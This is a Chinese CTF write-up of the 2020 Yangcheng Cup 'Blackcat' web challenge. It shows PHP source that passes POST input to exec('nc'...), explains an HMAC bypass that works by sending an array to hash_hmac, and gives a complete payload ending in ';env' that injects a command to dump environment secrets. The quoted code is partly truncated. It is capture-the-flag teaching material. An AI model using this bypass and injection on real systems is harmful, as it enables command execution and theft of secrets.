# [羊城杯 2020] Blackcat

源码看看:发现他要我们听听歌,发现可以下载,直接编辑一下发现:

# 1

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('
echo exec("nc".$_POST['One-ear']);

分析代码:

1. 要使用 POST 方式提交参数 Black-Cat-Sheriff 和 One-ear;
2.getenv () 函数定义:取得系统的环境变量;
3. 使用 POST 方式提交 White-cat-monitor, 使用 hash_hmac 函数加密 key 为 clandestine 赋值给变量 clandestine, 再次使用 hash_hmac 函数加密,密钥为 clandestine, 此时的 clandestine 为 White-cat-monitor 加密的结果,赋值给变量 hh;
使 hh===Black-Cat-Sheriff;
One-ear 可控.

hash_hamc 函数是关键点,学习一下
hash_hmac ($algo, $data, key)当传入的key) 当传入的 data 为数组时,加密得到的结果固定为 NULL;那么第二次的 hash_hmac 就是可控的.

预测 hh 的值,将其赋值给 Black-Cat-Sheriff
2

payload(flag 在环境变量里):

White-cat-monitor[]=0&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

参考链接:https://blog.csdn.net/qq_46263951/article/details/119796671

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal